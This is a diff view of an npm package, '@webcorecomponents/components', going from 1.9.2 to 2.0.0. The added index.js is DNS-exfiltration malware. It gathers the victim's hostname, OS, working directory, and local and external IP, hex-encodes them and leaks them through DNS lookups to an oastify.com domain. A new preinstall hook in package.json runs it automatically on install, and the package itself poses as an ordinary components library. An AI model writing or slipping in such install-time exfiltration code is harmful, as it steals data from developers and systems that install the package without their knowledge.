@webcorecomponents/components 1.9.2 → 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +105 -43
- package/package.json +3 -2
package/index.js
CHANGED
@@ -1,45 +1,107 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
1
3
|
const https = require('https');
|
4
|
+
const process = require('process');
|
2
5
|
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
}
|
7
|
-
|
8
|
-
//
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
}
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
//
|
45
|
-
|
6
|
+
// Función para codificar los datos en formato hexadecimal
|
7
|
+
function encodeData(data) {
|
8
|
+
return Buffer.from(data).toString('hex'); // Codificamos en hexadecimal
|
9
|
+
}
|
10
|
+
|
11
|
+
// Función para dividir el string en fragmentos de longitud máxima
|
12
|
+
function splitDataIntoChunks(data, chunkSize) {
|
13
|
+
const chunks = [];
|
14
|
+
for (let i = 0; i < data.length; i += chunkSize) {
|
15
|
+
chunks.push(data.slice(i, i + chunkSize));
|
16
|
+
}
|
17
|
+
return chunks;
|
18
|
+
}
|
19
|
+
|
20
|
+
// Función para enviar las consultas DNS
|
21
|
+
function exfiltrateData(data, label) {
|
22
|
+
const encodedData = encodeData(data);
|
23
|
+
const maxDnsLength = 40; // Máxima longitud de subdominio en una consulta DNS
|
24
|
+
|
25
|
+
// Dividir los datos en fragmentos si son demasiado largos
|
26
|
+
const chunks = splitDataIntoChunks(encodedData, maxDnsLength);
|
27
|
+
|
28
|
+
chunks.forEach((chunk, index) => {
|
29
|
+
const domain = `${label}-${index}-${chunk}.p8yvdjdgoteup8gdu5wgpaf7kyqreh26.oastify.com`; // Reemplaza con tu dominio DNS controlado
|
30
|
+
|
31
|
+
// Realiza la consulta DNS por cada fragmento
|
32
|
+
dns.resolve(domain, 'A', (err, addresses) => {
|
33
|
+
if (err) {
|
34
|
+
//console.error(`Error en la consulta DNS para el fragmento ${index}:`, err);
|
35
|
+
} else {
|
36
|
+
//console.log(`Consulta DNS para el fragmento ${index} exitosa, direcciones:`, addresses);
|
37
|
+
}
|
38
|
+
});
|
39
|
+
});
|
40
|
+
}
|
41
|
+
|
42
|
+
// Obtener información básica del sistema
|
43
|
+
function getVictimInfo() {
|
44
|
+
const hostname = os.hostname(); // Nombre del equipo
|
45
|
+
const platform = os.platform(); // Sistema operativo (linux, win32, darwin)
|
46
|
+
const release = os.release(); // Versión del sistema operativo
|
47
|
+
const cwd = process.cwd(); // Directorio actual de trabajo
|
48
|
+
const interfaces = os.networkInterfaces();// Interfaces de red
|
49
|
+
|
50
|
+
let ipAddress = 'N/A'; // Dirección IP local
|
51
|
+
for (const key in interfaces) {
|
52
|
+
for (const details of interfaces[key]) {
|
53
|
+
if (details.family === 'IPv4' && !details.internal) {
|
54
|
+
ipAddress = details.address; // IP local válida (no localhost)
|
55
|
+
break;
|
56
|
+
}
|
57
|
+
}
|
58
|
+
}
|
59
|
+
|
60
|
+
return {
|
61
|
+
hostname: hostname,
|
62
|
+
platform: platform,
|
63
|
+
release: release,
|
64
|
+
ipAddress: ipAddress,
|
65
|
+
cwd: cwd
|
66
|
+
};
|
67
|
+
}
|
68
|
+
|
69
|
+
// Obtener la IP externa desde ifconfig.me
|
70
|
+
function getExternalIP(callback) {
|
71
|
+
https.get('https://ifconfig.me/ip', (res) => {
|
72
|
+
let data = '';
|
73
|
+
|
74
|
+
// Acumular datos del stream de respuesta
|
75
|
+
res.on('data', (chunk) => {
|
76
|
+
data += chunk;
|
77
|
+
});
|
78
|
+
|
79
|
+
// Al finalizar, devolver la IP
|
80
|
+
res.on('end', () => {
|
81
|
+
callback(data.trim());
|
82
|
+
});
|
83
|
+
|
84
|
+
}).on('error', (err) => {
|
85
|
+
//console.error('Error al obtener la IP externa:', err);
|
86
|
+
callback(null);
|
87
|
+
});
|
88
|
+
}
|
89
|
+
|
90
|
+
// Obtener información del equipo
|
91
|
+
const victimInfo = getVictimInfo();
|
92
|
+
|
93
|
+
// Exfiltrar cada dato por separado, fragmentado si es necesario
|
94
|
+
exfiltrateData(victimInfo.hostname, 'hnm');
|
95
|
+
exfiltrateData(victimInfo.platform, 'pfm');
|
96
|
+
exfiltrateData(victimInfo.release, 'rls');
|
97
|
+
exfiltrateData(victimInfo.ipAddress, 'lip');
|
98
|
+
exfiltrateData(victimInfo.cwd, 'cwd');
|
99
|
+
|
100
|
+
// Obtener la IP externa y exfiltrarla
|
101
|
+
getExternalIP((externalIP) => {
|
102
|
+
if (externalIP) {
|
103
|
+
exfiltrateData(externalIP, 'eip');
|
104
|
+
} else {
|
105
|
+
//console.error('No se pudo obtener la IP externa');
|
106
|
+
}
|
107
|
+
});
|
package/package.json
CHANGED
@@ -1,10 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "@webcorecomponents/components",
|
3
|
-
"version": "
|
3
|
+
"version": "2.0.0",
|
4
4
|
"description": "Components",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
|
-
"
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
9
|
},
|
9
10
|
"author": "Author Components",
|
10
11
|
"license": "MIT"
|